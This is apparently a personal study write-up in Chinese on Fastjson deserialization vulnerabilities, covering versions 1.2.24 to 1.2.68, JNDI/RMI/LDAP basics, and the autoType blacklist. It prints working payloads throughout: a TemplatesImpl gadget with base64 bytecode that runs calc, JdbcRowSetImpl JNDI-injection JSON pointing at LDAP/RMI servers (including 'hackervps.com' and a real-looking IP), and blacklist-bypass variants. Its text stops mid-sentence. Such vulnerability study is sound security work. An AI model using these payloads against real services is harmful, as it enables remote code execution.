FastJson反序列化漏洞学习 附言 文章借鉴:http://xz.aliyun.com/t/13386
https://www.cnblogs.com/Aurora-M/p/15683941.html
视频跟寻:B站白日梦组长
新建依赖导入fastjson
直接贴漏洞成因了,不搞其他的了
fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。
先新建一个Person类当做json调用测试来用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class Person { public int age; public String name; public Person() { System.out.println("construct"); } public int getAge(String name) { System.out.println("getAge"); return age; } public void setAge(int age) { System.out.println("setage"); this.age = age; } public String getName() { System.out.println("getName"); return name; } public void setName(String name) { System.out.println("setName"); this.name = name; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Fastjson { public static void main(String[] args) { // String s ="{\"parma1\":\"aaa\",\"parma2\":\"6666\"}"; String x = "{\"age\":19,\"username\":\"qingchuan\"}"; // String y ="{\"@type\":\"org.example.Person\",\"age\":19,\"username\":\"qingchuan\"}"; //序列化方式--指定类和不指定类 JSONObject json = JSON.parseObject(x); System.out.println(json.getString("username")); JSONObject user = JSON.parseObject(x); System.out.println(user); } }
这里先是顶一个一个json字符串,利用JSON.parseObject();将其转换为java对象,后面打印出username
指定类会打印出json字符串里的对应的字段,不指定的全部打印
指定json转换的类,并转换其中的对象,传入了age和name并且指定调用了对应的方法,通过set方法传入值
fastjson可以根据传入对象的不同解析不同的类(Person为对应的类的路径地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Fastjson { public static void main(String[] args) { // String s ="{\"parma1\":\"aaa\",\"parma2\":\"6666\"}"; // String x = "{\"age\":19,\"username\":\"qingchuan\"}"; String y ="{\"@type\":\"Person\",\"age\":19,\"name\":\"qingchuan\"}"; //序列化方式--指定类和不指定类 JSONObject json = JSON.parseObject(y); System.out.println(json.getString("name")); JSONObject user = JSON.parseObject(y); System.out.println(user); } }
由于底层调用的一些原因,fastjson会对传入的字符串当做一部分类来处理,导致反序列化问题
都说@type
,那@type是个啥?
@type
是fastjson
中的一个特殊注解,用于标识JSON
字符串中的某个属性是一个Java
对象的类型。具体来说,当fastjson
从JSON
字符串反序列化为Java
对象时,如果JSON
字符串中包含@type
属性,fastjson
会根据该属性的值来确定反序列化后的Java
对象的类型。由于fastjson
在1.2.24
之后默认禁用AutoType
,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");
来开启,否则会报错autoType is not suppor
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.io.IOException; public class Test { public static void main(String[] args) throws IOException { String json = "{\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\",\"@type\":\"java.lang.Runtime\"}"; ParserConfig.getGlobalInstance().addAccept("java.lang"); Runtime runtime = (Runtime) JSON.parseObject(json, Object.class); runtime.exec("calc.exe"); } }
中途可能会遇到addAccept的错误,我的是由于我自身设置的fastjson版本太低1.2.24改到1.2.27就好了
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Main { public static void main(String[] args) { Person user = new Person(); user.setAge(18); user.setName("xiaoming"); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println(s1); } }
在调用toJSONString
方法的时候,参数里面多了一个SerializerFeature.WriteClassName
方法。传入SerializerFeature.WriteClassName
可以使得Fastjson
支持自省,开启自省后序列化成JSON
的数据就会多一个@type
,这个是代表对象类型的JSON
文本。FastJson
的漏洞就是他的这一个功能去产生的,在对该JSON
数据进行反序列化的时候,会去调用指定类中对于的get/set/is
方法
使用JSON.toJSONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。 注意:反序列化的对象必须具有默认的无参构造器和get|set方法,反序列化的底层实现就是通过无参构造器和get .set方法进行的
漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!
##JNDI是什么?
JNDI
是Java
平台的一种API
,它提供了访问各种命名和目录服务的统一方式。JNDI
通常用于在JavaEE
应用程序中查找和访问资源,如JDBC
数据源、JMS
连接工厂和队列等。
下面通过Tomcat配置来感受JNDI的作用
下载配置https://tomcat.apache.org/
解压之后,可以给改一个简洁一点的名字,例如tomcat
,然后把bin
目录放到环境变量中,
然后再新建一个名为CATALINA_HOME
的路径,值为tomcat
的根目录
双击tomcat
的bin
目录下的startup.bat
,然后访问http://localhost:8080/
,就可以看到服务启动成功了:
这里需要时JDK17如果不是启动时会闪退
然后配置tomcat
目录下的context.xml
(tomcat7
及以前则是配置server.xml
):
1 2 3 4 <Resource name="jdbc/security" auth="Container" type="javax.sql.DataSource" maxTotal="100" maxIdle="30" maxWaitMillis="10000" username="root" password="root" driverClassName="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/security"/>
可以根据自己本地开启的mysql
的实际情况(要与本地数据库名对应上)来改,我这里是使用phpstudy
来安装开启mysql
的:
然后继续配置tomcat
的conf
目录下的web.xml
:
1 2 3 4 5 6 <resource-ref> <description>Test DB Connection</description> <res-ref-name>jdbc/root</res-ref-name> <res-type>javax.sql.DataSource</res-type> <res-auth>Container</res-auth> </resource-ref>
去IDEA里面配置web
首先先新建一个项目,我命名为jndi_demo
,接着配置tomcat
:
这里我选择了8089
端口,因为我8080
端口之前被我占用了:
接着
选中Tomcat导入进来
这里记得添加完工件再改,目录在out….下
之后应用确定,构建
然后填写代码运行配置:
然后跑如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example; import jakarta.servlet.ServletException; import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import javax.naming.Context; import javax.naming.InitialContext; import javax.sql.DataSource; import java.io.IOException; import java.sql.Connection; import java.sql.ResultSet; import java.sql.Statement; @WebServlet("/test") public class Test extends HttpServlet { @Override protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { // 获取JNDI上下文 Context ctx = new InitialContext(); // 查找数据源 Context envContext = (Context) ctx.lookup("java:/comp/env"); DataSource ds = (DataSource) envContext.lookup("jdbc/security"); // 获取连接 Connection conn = ds.getConnection(); System.out.println("[+] success!"); // 执行查询 Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from security.emails;"); // 处理结果集 while (rs.next()) { System.out.println(rs.getString("email_id")); } // 关闭连接 rs.close(); stmt.close(); conn.close(); } catch (Exception e) { e.printStackTrace(); } } }
RMI是什么? RMI
指的是远程方法调用(Remote Method Invocation
),是Java
平台提供的一种机制,可以实现在不同Java
虚拟机之间进行方法调用。通过几个demo来看看
我们直接看下面使用了RMI
的demo
代码,包括一个服务器端和一个客户端。这个demo
实现了一个简单的计算器程序,客户端通过RMI
调用服务器端的方法进行加、减、乘、除四则运算。
首先是一个计算器接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example; import java.rmi.Remote; import java.rmi.RemoteException; public interface Calculator extends Remote { public int add(int a, int b) throws RemoteException; public int subtract(int a, int b) throws RemoteException; public int multiply(int a, int b) throws RemoteException; public int divide(int a, int b) throws RemoteException; }
然后是客户端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.example; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { private Client() {} public static void main(String[] args) { try { // Get the registry Registry registry = LocateRegistry.getRegistry("localhost", 1060); // Lookup the remote object "Calculator" Calculator calc = (Calculator) registry.lookup("Calculator"); // Call the remote method int result = calc.add(5, 7); // Print the result System.out.println("Result: " + result); } catch (Exception e) { System.err.println("Client exception: " + e.toString()); e.printStackTrace(); } } }
接着是服务端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package org.example; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class Server extends UnicastRemoteObject implements Calculator { public Server() throws RemoteException {} @Override public int add(int x, int y) throws RemoteException { return x + y; } @Override public int subtract(int a, int b) throws RemoteException { return 0; } @Override public int multiply(int a, int b) throws RemoteException { return 0; } @Override public int divide(int a, int b) throws RemoteException { return 0; } public static void main(String args[]) { try { Server obj = new Server(); LocateRegistry.createRegistry(1060); Registry registry = LocateRegistry.getRegistry(1060); registry.bind("Calculator", obj); System.out.println("Server ready"); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } } }
然后开始跑程序,不需要做任何配置。 先把服务端跑起来:
然后客户端这里就可以直接运行9+9
的结果了:
LDAP是什么? LDAP
是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议。在Java
安全中,LDAP
通常用于集成应用程序与企业目录服务(例如Microsoft Active Directory
或OpenLDAP
)的认证和授权功能。 使用Java
的LDAP API
,我们可以编写LDAP
客户端来执行各种LDAP
操作,如绑定(bind
)到LDAP
服务器、搜索目录、添加、修改和删除目录条目等。Java LDAP API
支持使用简单绑定(simple bind
)或Kerberos
身份验证(Kerberos authentication
)进行LDAP
身份验证。 Java
应用程序可以使用LDAP
来实现单点登录和跨域身份验证,并与其他应用程序和服务共享身份验证信息。LDAP
还可以用于管理用户、组和权限,以及存储和管理应用程序配置信息等。 总结:Java
中的LDAP
是一种使用Java
编写LDAP
客户端来集成企业目录服务的技术,可以提供安全的身份验证和授权功能,以及方便的用户和配置管理。
在Fastjson
漏洞中,攻击者可以通过构造特定的LDAP
查询语句,来执行任意代码或获取敏感信息。例如,以下JSON
字符串包含一个恶意构造的LDAP URL
:
1 {"@type":"java.net.URL","val":"ldap://hackervps.com/exp"}
当Fastjson
解析该JSON
字符串时,会触发LDAP
查询操作,查询hackervps.com
上的LDAP
服务,并执行名为“exp
”的操作。这就是Fastjson
漏洞的成因之一。
原理探究 序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... public static final String toJSONString(Object object, SerializerFeature... features) { SerializeWriter out = new SerializeWriter(); try { JSONSerializer serializer = new JSONSerializer(out); for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) { serializer.config(feature, true); } serializer.write(object); return out.toString(); } } ...
当指定要将类的名字写入到序列化数据中时,就是将其写入到JSONSerializer的配置中,当执行写操作时,JSONSerializer会依据config,进行序列化操作。
当手动指定类对象时,JSON会根据指定的Class进行加载和映射。
调试
首先调用一个只调用String的object,解析返回Object,在转换为Jsonobject
到这,DefaultJSONParser,其中的feature会解析你传入的需求
一些处理流程
对单引号和双引号的处理
一直跟到反序列化的部分
一个比较重要的函数JavaBeanInfo对传入的数据了解一遍,组成一个Javabininfo
调了半天,调过了,又调了好多遍。。。难甭
看到反序列化的关键点吧
会先进行一些分晰,后进行字符串分割,进行字符串匹配,如果存在@type那么就会进行如图中的动态加载对象,再完成后续操作,这也就是为什么可以实现自动类匹配加载。
ps:调试代码太冗杂了,不确定在哪步入,步过,可以自己调试去看看他的执行过程
反序列化的利用 调试几遍大概可以清楚
使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 a_g_e ,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
利用链寻找
相比于平常的反序列化利用链,fastjson不需要实现Serialize
变量不需要不是transient,变有对应的setter或者是public
setter/getter不是readObject
相同点:
sink 反射、动态类加载
按两下shift查找类jdbcRowsetimpl
找到.lookup,查看getDataSourceName()用法
想要控制String类型,我们想想他该怎么控制,前面条件需要setter或者是public
看到javabean类
三快部分对应setter,public和满足条件的getter如map,get等,满足这些才是可控变量,
在BeanRowSet方法里有着SetDataSourceName方法,所以变量的值我们是可控的,我们接着往上找,找到connect()方法
从connect找发现2个get set
这里需要利用到set方法,为什么不用get呢,因为可以看一下get方法中的
他的DatabaseMetaData返回值并不是刚刚满足条件的那几种,只是有一个普通的接口
如要想要可以,需要调用,就是需要再调用toJson方法是前面不能出错,但这太难了,就不用了
这边接着看set方法
这里直接就调用了connect,写一下利用链
Yakit生成一个反连服务器
1 2 3 4 5 6 7 8 9 10 11 import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class FastjsonjdbcRowSetImpl { public static void main(String[] args)throws Exception { String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/\",\"AutoCommit\":false}"; JSON.parseObject(s); } }
填上地址(在此之前记得点击生成)
发现执行成功
本地类加载
在ClassLoader类里面
相关漏洞复现 fastjson<=1.2.24(CVE-2017-18349) (学习TemplatesImpl链的相关知识)
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSONObject;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig config = new ParserConfig (); String Text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHACEMACIAIwEABGNhbGMMACQAJQEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACgAEAAsADQAMAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEAABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFQAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGAAIABkADAAAAAQAAQAUAAEAFQAAAAIAFg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}" ; Object obj = JSONObject.parseObject(Text,Object.class,config, Feature.SupportNonPublicField); } }
运行之后直接弹出计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.*;import java.util.Base64;public class Base64Encode { public static void main (String[] args) throws IOException { File file = new File ("src/main/java/Test.class" ); byte [] bytes = new byte [(int ) file.length()]; try (FileInputStream fis = new FileInputStream (file)) { fis.read(bytes); } String base64String = Base64.getEncoder().encodeToString(bytes); System.out.println(base64String); } }
上面的text
里面的_bytecodes
的内容是以下内容编译成字节码文件后(.class
)再base64
编码后的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test () throws IOException { Runtime.getRuntime().exec("calc" ); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform (DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main (String[] args) throws Exception { Test t = new Test (); } }
可以看到,我们通过以上代码直接定义类Test
,并在类的构造方法中执行calc
的命令;至于为什么要写上述代码的第14
-21
行,因为Test
类是继承AbstractTranslet
的,上述代码的两个transform
方法都是实现AbstractTranslet
接口的抽象方法,因此都是需要的;具体来说的话,第一个transform
带有SerializationHandler
参数,是为了把XML
文档转换为另一种格式,第二个transform
带有DTMAxisIterator
参数,是为了对XML
文档中的节点进行迭代。 总结: 对于上述代码,应该这么理解:建立Test
类,并让其继承AbstractTranslet
类,然后通过Test t = new Test();
来初始化,这样我就是假装要把xml
文档转换为另一种格式,在此过程中会触发构造方法,而我在构造方法中的代码就是执行calc
,所以会弹出计算器。
本来学习的时候并没有太在意为什么要去继承AbstractTranslet ,后面跟着在学习的文章中写道了这一点,现在来学校了解一下
为什么要继承AbstractTranslet
?
但是在实战场景中,Java
的ClassLoader
类提供了defineClass()
方法,可以把字节数组转换成Java
类的示例,但是这里面的方法的作用域是被Protected
修饰的,也就是说这个方法只能在ClassLoader
类中访问,不能被其他包中的类访问:
但是,在TransletClassLoader
类中,defineClass
调用了ClassLoader
里面的defineClass
方法:
然后追踪TransletClassLoader
,发现是defineTransletClasses
:
再往上,发现是getTransletInstance
:
到此为止,要么是Private
修饰要么就是Protected
修饰,再往上继续追踪,发现是newTransformer
,可以看到此时已经是public
了:
因此利用链是
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
1 2 3 4 5 6 7 { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQA...CJAAk="], "_name": "q1ngchuan", "_tfactory": {}, "_outputProperties": {}, }
为什么会这样构造呢
可以看到,逻辑是这样的:先判断_bytecodes
是否为空,如果不为空,则执行后续的代码;后续的代码中,会调用到自定义的ClassLoader
去加载_bytecodes
中的byte[]
,并对类的父类进行判断,如果是ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,那么就把类成员属性的_transletIndex
设置成当前循环中的标记位,第一次调用的话,就是class[0]
。 可以看到,这里的_bytecodes
和_outputProperties
都是类成员变量。同时,_outputProperties
有自己的getter
方法,也就是getOutputProperties
。
fastjson 1.2.25 反序列化漏洞 学习JdbcRowSetImpl链的相关知识)
自从爆出漏洞之后,1.2.25增添了黑白名单机制
变成1.2.25版以后再去执行前面的,发现无法执行
去查看配置发现加了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
接下来我们定位到checkAutoType()
方法,看一下它的逻辑:如果开启了autoType
,那么就先判断类名在不在白名单中,如果在就用TypeUtils.loadClass
加载,如果不在就去匹配黑名单
如果没开启autoType
,则先匹配黑名单,然后再白名单匹配和加载;
如果要反序列化的类和黑白名单都未匹配时,只有开启了autoType
或者expectClass
不为空也就是指定了Class
对象时才会调用TypeUtils.loadClass
加载,否则fastjson
会默认禁止加载该类。
我们来仔细看下上图红框中的代码,代码的含义是:如果类名的字符串以[
开头,则说明该类是一个数组类型,需要递归调用loadClass
方法来加载数组元素类型对应的Class
对象,然后使用Array.newIntrance
方法来创建一个空数组对象,最后返回该数组对象的Class
对象;如果类名的字符串以L
开头并以;
结尾,则说明该类是一个普通的Java
类,需要把开头的L
和结尾的;
给去掉,然后递归调用loadClass
。
1 2 RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113 LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191
第一种poc(1.2.25-1.2.47通杀!!!) 然后我们先来看第一种 poc
。
1 {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1/exp","autoCommit":true}}
我们会发现,加上{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
就会绕过原本的autoType
,由此我们可以猜测,针对未开启autoType
的情况,fastjson
的源代码中应该是有相关方法去针对处理的,并且利用我们的这种方式,正好可以对应上。 于是我们直接去查看源代码,翻到checkAutoType
的地方,可以看到,如果没开启autoType
,就会有以下两种加载方式:
第一种是从mappings
里面获取,也就是上图中的第727
行代码,点进去之后可以看到:
如果获取不到就采用第二种方法,也就是第728
-730
行代码,从deserializers
中获取。 deserializers
是什么呢?可以看fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\ParserConfig.class
的第172
-241
行,里面是内置的一些类和对应的反序列化器。 但是deserializers
是private
类型的,我们搜索deserializers.put
,发现当前类里面有一个public
的putDeserializer
方法,可以向deserializers
中添加新数据:
于是我们全局搜索该方法,发现就一个地方调用了,而且没办法寻找利用链:
所以继续看第一种方法,从mappings
获取的。可以看到,mappings
这里也是private
:
搜索mappings.put
,可以看到在TypeUtils.loadClass
中有调用到:
于是我们全局搜索,可以看到有如下5处调用:
我们直接看Misccodec.java
结合MiscCodec
中一堆的if
语句,可以判断,一些简单的类都被放在这里了。
然后跟进strVal
,看看是哪儿来的:
继续跟进这个objVal
:
首先,代码中的if
语句判断当前解析器的状态是否为TypeNameRedirect
,如果是,则进入if
语句块中进行进一步的解析。在if
语句块中,首先将解析器的状态设置为NONE
,然后使用parser.accept(JSONToken.COMMA)
方法接受一个逗号Token
,以便后续的解析器对其进行处理。接下来,使用lexer.token()
方法判断下一个Token
的类型,如果是一个字符串,则进入if语句块中进行进一步的判断。在if语句块中,使用lexer.stringVal()
方法获取当前Token
的字符串值,并与val
进行比较。如果不相等,则抛出一个JSON
异常;如果相等,则使用lexer.nextToken()
方法将lexer
的指针指向下一个Token
,然后使用parser.accept(JSONToken.COLON)
方法接受一个冒号Token
,以便后续的解析器对其进行处理。最后,使用parser.parse()
方法解析当前Token
,并将解析结果赋值给objVal
。如果当前Token
不是一个对象的结束符(右花括号),则使用parser.accept(JSONToken.RBRACE)
方法接受一个右花括号Token
,以便后续的解析器对其进行处理。如果当前解析器的状态不是TypeNameRedirect
,则直接使用parser.parse()
方法解析当前Token
,并将解析结果赋值给objVal
。 根据之前分析的,objVal
会传给strVal
,然后TypeUtils.loadClass
在执行的过程中,会把strVal
放到mappings
缓存中。
后面直接返回clazz
第二种POC 第二种poc
的绕过手法在上面的“黑白名单机制介绍”中已经写的很清楚了,直接参考即可。 需要注意的是,由于代码是循环去掉L
和;
的,所以我们不一定只在头尾各加一个L
和;
。
JdbcRowSetImpl 结合JNDI注入
1 2 3 4 5 { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:9999/Exec", "autoCommit":true }
关于JdbcRowSetImpl链利用的分析 从上面我们学习了绕过黑白名单的学习,接下来看JdbcRowSetImpl
利用链的原理。 根据FastJson
反序列化漏洞原理,FastJson
将JSON
字符串反序列化到指定的Java
类时,会调用目标类的getter
、setter
等方法。JdbcRowSetImpl
类的setAutoCommit()
会调用connect()
方法,connect()
函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
1 2 InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
可以直接拿出来利用
1 2 3 4 5 6 7 8 9 10 package org.example; import com.sun.rowset.JdbcRowSetImpl; public class Main { public static void main(String[] args) throws Exception { JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl(); JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/ift2ty"); JdbcRowSetImpl_inc.setAutoCommit(true); } }
fastjson 1.2.42 反序列化漏洞 首先更换依赖为1.2.42
直接翻到ParserConfig
这里:
可以看到,fastjson
把原来的明文黑名单转换为Hash
黑名单,但是并没什么用,目前已经被爆出来了大部分,具体可以参考:
https://github.com/LeadroyaL/fastjson-blacklist
然后checkAutoType
这里进行判断,仅仅是把原来的L
和;
换成了hash
的形式:
所以直接双写L
和;
即可:
1 2 3 4 5 { "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://127.0.0.1:9999/Exec", "autoCommit":true }
fastjson 1.2.43 反序列化漏洞 修改到1.2.43
依旧是查看ParserConfig
全局搜索checkAutoType
意思就是说如果出现连续的两个L
,就报错。那么问题来了,你也没有对[
进行限制啊,直接绕:
1 2 3 4 5 { "@type" :"[com.sun.rowset.JdbcRowSetImpl" [{, "dataSourceName" :"ldap://127.0.0.1:9999/Exec" , "autoCommit" :true }
fastjson 1.2.44 mappings缓存导致反序列化漏洞 修改之前的pom.xml
里面的版本为1.2.44
。增加了规则,出现[
字符直接抛出异常判断失败 这个版本的fastjson
总算是修复了之前的关于字符串处理绕过黑名单的问题,但是存在之前完美在说fastjson 1.2.25
版本的第一种poc
的那个通过mappings
缓存绕过checkAutoType
的漏洞
1 2 3 4 5 6 7 8 9 10 11 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:9999/Exec", "autoCommit": true } }
fastjson 1.2.47 mappings缓存导致反序列化漏洞 1 2 3 4 5 6 7 8 9 10 11 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://101.34.80.152:1389/5ltdh9", "autoCommit": true } }
fastjson 1.2.68 反序列化漏洞 fastjson 1.2.47
的时候爆出来的这个缓存的漏洞很严重,官方在1.2.48
的时候就进行了限制。 我们修改上面的pom.xml
中fastjson
版本为1.2.68
。 直接翻到MiscCodec
这里,可以发现,cache
这里默认设置成了false
在1.2.68中又提出了一个新的 autoType 绕过思路:利用 expectClass 绕过 checkAutoType()
。
在 checkAutoType()
函数中有这样的逻辑:如果函数有 expectClass
